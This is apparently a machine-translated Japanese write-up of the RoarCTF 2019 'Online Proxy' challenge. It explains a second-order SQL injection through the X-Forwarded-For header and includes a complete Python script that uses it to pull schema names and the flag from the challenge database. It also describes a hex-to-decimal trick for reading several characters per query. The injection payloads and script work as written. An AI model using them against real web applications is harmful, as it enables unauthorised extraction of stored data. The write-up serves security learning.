[RoarCTF 2019Online Proxy] SQL 賢いブラインドインジェクション
問題解決
ソースコードインターフェースにあります:Current Ip
X-Forwarded-For
IP を変更するには、以下を関連付けます。
その結果、応答がLast Ip
エコーアウトされることがわかり、dirsearch
スキャンを使用してdb.php
私たちは自然にデータベースを思い浮かべます。X-Forwarded-For
リクエストを使用すると、最後の値がエコーされます。Last Ip
ここに SQL インジェクションがあるはずです。
SQL を XFF に渡し、2 回目にランダムな値を入力し、その SQL をデータベースに保存し、3 回目に同じ値を入力すると、SQL クエリが発生し、前の SQL ステートメントがクエリされます。その結果、2回目の注射が行われます
一重引用符を使用して閉じることができることを確認します。
最初の XFF: 0' または '114514、2 回目: leekos、3 回目: leekos
3 番目のクエリでは、次のようになります。114514
脚本
したがって、スクリプトを記述する必要があります。
import requests
url = "http://node4.buuoj.cn:27640/"
def execsql(sql):
result = ""
payload = "0'|length(("+sql+"))|'0"
session = requests.session()
r = session.get(url,headers={
'X-Forwarded-For':payload})
r = session.get(url,headers={
'X-Forwarded-For':'leekos'})
r = session.get(url,headers={
'X-Forwarded-For':'leekos'})
start = r.text.find("Last Ip: ") + 9
end = r.text.find(" -->",start)
length = int(r.text[start:end])
print("[+]长度:"+str(length))
for i in range(1,length+1,5): # 1次查5个字符,妙
payload = "0'|conv(hex(substr(({}),{},5)),16,10)|'0".format(sql,i)
r = session.get(url, headers={
'X-Forwarded-For': payload})
r = session.get(url, headers={
'X-Forwarded-For': 'leekos'})
r = session.get(url, headers={
'X-Forwarded-For': 'leekos'})
start = r.text.find("Last Ip: ") + 9
end = r.text.find(" -->", start)
res = int(r.text[start:end])
result += bytes.fromhex(hex(res)[2:]).decode("utf-8")
print(result)
return result
# print("数据库名:" + execsql("select group_concat(schema_name) from information_schema.schemata"))
# print("表名:" + execsql("select group_concat(table_name) from information_schema.tables where table_schema='F4l9_D4t4B45e'"))
# print("列名:" + execsql("select group_concat(column_name) from information_schema.columns where table_name = 'F4l9_t4b1e' and table_schema='F4l9_D4t4B45e'"))
print("flag:" + execsql("select group_concat(`F4l9_C01uMn`) from F4l9_D4t4B45e.F4l9_t4b1e"))
脚本解析
このスクリプトは非常に独創的で、これまでに遭遇したスクリプトとは異なり、ブラインド インジェクションを通じて一度に複数の文字をクエリできます。
原理は、文字列を 16 進数に変換し、次に 10 進数に変換して読み出し、最後に 10 進数を 16 進数に変換し、最後に文字列に変換することです。
文字列と16進数間の変換
例えば:
hex('abc')=616263
次に、 SQL 関数を使用してconv(hex('abc'),16,10) = 6382179
abc の 16 進数を 10 進数に変換します。
SQL では、16 進数を文字列に自動的に変換できます。
このアプローチにより、クエリの速度が大幅に向上します。
bytes.fromhex()この関数は 16 進数をバイトに変換し、decode() で文字にデコードします。
スクリプト全体のポイントは次のとおりです。
payload = "0'|conv(hex(substr(({}),{},5)),16,10)|'0".format(sql,i)
res = int(r.text[start:end])
result += bytes.fromhex(hex(res)[2:]).decode("utf-8")
まず、SQLクエリを通じて結果の一部を取り出し、次に16進数に変換し、次に10進数に変換します
次に、requests
返された結果を取り出し、16 進数に変換し、最後に文字に変換します。
このようにして、複数の文字を一度にクエリできます。